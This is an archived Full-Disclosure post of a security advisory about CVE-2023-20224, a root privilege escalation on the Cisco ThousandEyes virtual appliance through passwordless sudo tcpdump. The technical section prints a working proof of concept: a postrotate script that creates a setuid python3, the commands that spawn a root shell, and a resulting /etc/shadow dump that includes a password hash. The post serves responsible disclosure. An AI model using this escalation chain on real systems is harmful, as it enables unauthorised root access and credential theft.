lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 17 Aug 2023 14:45:23 -0500
From: KoreLogic Disclosures via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org
Subject: [FD] KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual
 Appliance Privilege Escalation via tcpdump

KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump

Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump
Advisory ID: KL-001-2023-002
Publication Date: 2023.08.17
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-002.txt


1. Vulnerability Details

      Affected Vendor: ThousandEyes
      Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
      Affected Version: thousandeyes-va-64-18.04 0.218
      Platform: Linux / Ubuntu 18.04
      CWE Classification: CWE-1395: Dependency on Vulnerable
                          Third-Party Component
      CVE ID: CVE-2023-20224


2. Vulnerability Description

      An insecure sudo configuration permits a low-privilege user
      to run arbitrary commands as root via the 'tcpdump' command
      without a password.


3. Technical Description

      The ThousandEyes Virtual Appliance is distributed with a
      restrictive set of commands that can be executed via sudo,
      without having to provide the password for the 'thousandeyes'
      account. However, the ability to execute tcpdump via sudo is
      permitted without requiring the password. The post-rotate
      functionality of tcpdump can be used to execute arbitrary
      commands on the virtual appliance, allowing a privilege
      escalation to root. This is a known privilege escalation
      path, but had not been disclosed for the ThousandEyes Virtual
      Appliance.

        $ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa thousandeyes@....3.7
        Welcome to ThousandEyes!
        Last login: Tue Jan  3 20:16:37 2023 from 1.3.3.8
        thousandeyes@...usandeyes-va:~$ id
        uid=1000(thousandeyes) gid=1000(thousandeyes) 
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
        thousandeyes@...usandeyes-va:~$ sudo -l
        Matching Defaults entries for thousandeyes on thousandeyes-va:
            env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

        User thousandeyes may run the following commands on thousandeyes-va:
            (ALL : ALL) ALL
            (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, 
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
                te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start 
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
                te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, 
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
                /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, 
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
                te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, 
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
            (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

      Here we see that tcpdump is available as root with no password,
      and no restrictions on the arguments it can be passed.

      Prepare a malicious script, then have tcpdump execute it as a
      postrotate command. Note, this needs to be more than simply
      a setuid copy of bash as it will drop privs if UID!=EUID, but
      python will not.

        thousandeyes@...usandeyes-va:~$ cat /tmp/x4
        COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6'
        TF=$(mktemp)
        echo "$COMMAND" > $TF
        chmod +x $TF
        sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

        thousandeyes@...usandeyes-va:~$ cat /tmp/runme4
        /python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'

        thousandeyes@...usandeyes-va:~$ /tmp/x4
        dropped privs to root
        tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

      In another ssh session as the 'thousandeyes' user, execute
      'ping -c 1 127.0.0.1' to trigger tcpdump rotation:

        Maximum file limit reached: 1
        1 packet captured
        4 packets received by filter
        0 packets dropped by kernel

      Execute the setuid python which then launches a shell:

        thousandeyes@...usandeyes-va:/tmp$ /tmp/runme4
        # id
        uid=0(root) gid=1000(thousandeyes) 
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

        # bash
        root@...usandeyes-va:~# id
        uid=0(root) gid=1000(thousandeyes) 
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

        root@...usandeyes-va:~# cat /etc/shadow
        root:!:19145:0:99999:7:::
        daemon:!*:18885:0:99999:7:::
        bin:!*:18885:0:99999:7:::
        sys:!*:18885:0:99999:7:::
        sync:!*:18885:0:99999:7:::
        games:!*:18885:0:99999:7:::
        man:!*:18885:0:99999:7:::
        lp:!*:18885:0:99999:7:::
        mail:!*:18885:0:99999:7:::
        news:!*:18885:0:99999:7:::
        uucp:!*:18885:0:99999:7:::
        proxy:!*:18885:0:99999:7:::
        www-data:!*:18885:0:99999:7:::
        backup:!*:18885:0:99999:7:::
        list:!*:18885:0:99999:7:::
        irc:!*:18885:0:99999:7:::
        gnats:!*:18885:0:99999:7:::
        nobody:*:18885:0:99999:7:::
        systemd-network:!*:18885:0:99999:7:::
        systemd-resolve:!*:18885:0:99999:7:::
        syslog:!*:18885:0:99999:7:::
        messagebus:!*:18885:0:99999:7:::
        _apt:!*:18885:0:99999:7:::
thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30:::
        rdnssd:!*:19146:7:99999:30:::
        browserbot:!:19146::::::
        cntlm:!*:19146:7:99999:30:::
        sshd:!*:19146:7:99999:30:::
        root@...usandeyes-va:~#


4. Mitigation and Remediation Recommendation

      The vendor has released a version which remediates the described
      vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3


5. Credit

      This vulnerability was discovered by Jim Becher of
      KoreLogic, Inc.


6. Disclosure Timeline

      2023.04.26 - KoreLogic submits vulnerability details to Cisco.
      2023.04.26 - Cisco acknowledges receipt and the intention to
                   investigate.
      2023.05.04 - Cisco notifies KoreLogic that a remediation for this
                   vulnerability is expected to be available within
                   90 days.
      2023.06.30 - 45 business days have elapsed since KoreLogic reported
                   this vulnerability to the vendor.
      2023.07.11 - Cisco informs KoreLogic that the issue has been
                   remediated in the latest ThousandEyes Virtual
                   Appliance and a public advisory will be released
                   2023.08.16.
      2023.07.24 - 60 business days have elapsed since KoreLogic reported
                   this vulnerability to the vendor.
      2023.08.09 - Cisco provides KoreLogic with CVE-2023-20224 to
                   track this vulnerability.
      2023.08.16 - Cisco public acknowledgement.
      2023.08.17 - KoreLogic public disclosure.


7. Proof of Concept

      See 3. Technical Description.


The contents of this advisory are copyright(c) 2023
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt


Download attachment "OpenPGP_signature.asc" of type "application/pgp-signature" (841 bytes)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ